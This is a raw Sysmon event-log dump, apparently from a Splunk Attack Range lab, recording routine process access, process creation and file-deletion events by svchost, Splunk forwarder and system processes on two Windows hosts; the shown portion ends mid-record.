15:05:33.888{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017647Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:33.888{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017646Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:33.888{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017645Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:33.888{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017644Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:33.888{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017643Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:33.888{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017642Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:33.888{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017641Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:33.888{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-743D-613B-2B05-00000000F101}2784C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000017640Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:33.888{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-743D-613B-2B05-00000000F101}2784C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000017639Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:33.889{625C326B-743D-613B-2B05-00000000F101}2784C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000017638Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:33.794{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1A4AB3B0435A70C1E477005BB3A715C5,SHA256=9FB14E02071F6B9C018509B71E2FFE8E957D9B81A8849A65C294DFB95B7BC1DA,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017637Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:33.794{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=D1407B85474E2265B73242CF84A74BA1,SHA256=995DD5C26FD7B5CC8F50FB8C52B2FC9CB9CA147CD6FC9B920A1ADBA564CE4D06,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055078Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:33.793{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9EDA4C9FB934F08055E9B9C77CAB9A96,SHA256=ABAF82D76A376FB6E8EA78962EDAB09A1281ED6E99EFFF4BBFD124AA416C3B86,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017654Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:34.935{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=4C72C36D2EC0AAED24F7017B4A7180BC,SHA256=50D154D96275F625D9DD749B9F60FF3E712E27B6945A8547388BFCC734F5BE74,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017653Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:34.841{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=92D085FF31E2A493DF17A31DC8B7BE60,SHA256=5C415FF7E8719D07B91F535BE126137F36458948EF27B9FBE79C22CB3AE7112B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000055079Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:34.825{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A3060572C13C4282CB92D044DE0168BC,SHA256=8F9C6F7C5BDDADC6E6E98DA135CF716C6595E4D509D3B9D098C533490FCB8F01,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000017652Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:34.107{625C326B-743D-613B-2B05-00000000F101}27843332C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017682Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:35.903{625C326B-743F-613B-2D05-00000000F101}39682816C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000055080Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:35.841{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F605787D63C21C4D0C7A79B91FB45EF7,SHA256=D3B0F80B5B92B9D97AE32DFA7F695217E26EC915F7D03CAC0CBB96F5F6BC120F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000017681Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:35.622{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-743F-613B-2D05-00000000F101}3968C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017680Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:35.622{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017679Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:35.622{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017678Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:35.622{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017677Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:35.622{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017676Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:35.622{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017675Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:35.622{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017674Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:35.622{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017673Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:35.622{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017672Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:35.622{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-743F-613B-2D05-00000000F101}3968C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000017671Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:35.622{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017670Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:35.622{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-743F-613B-2D05-00000000F101}3968C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program 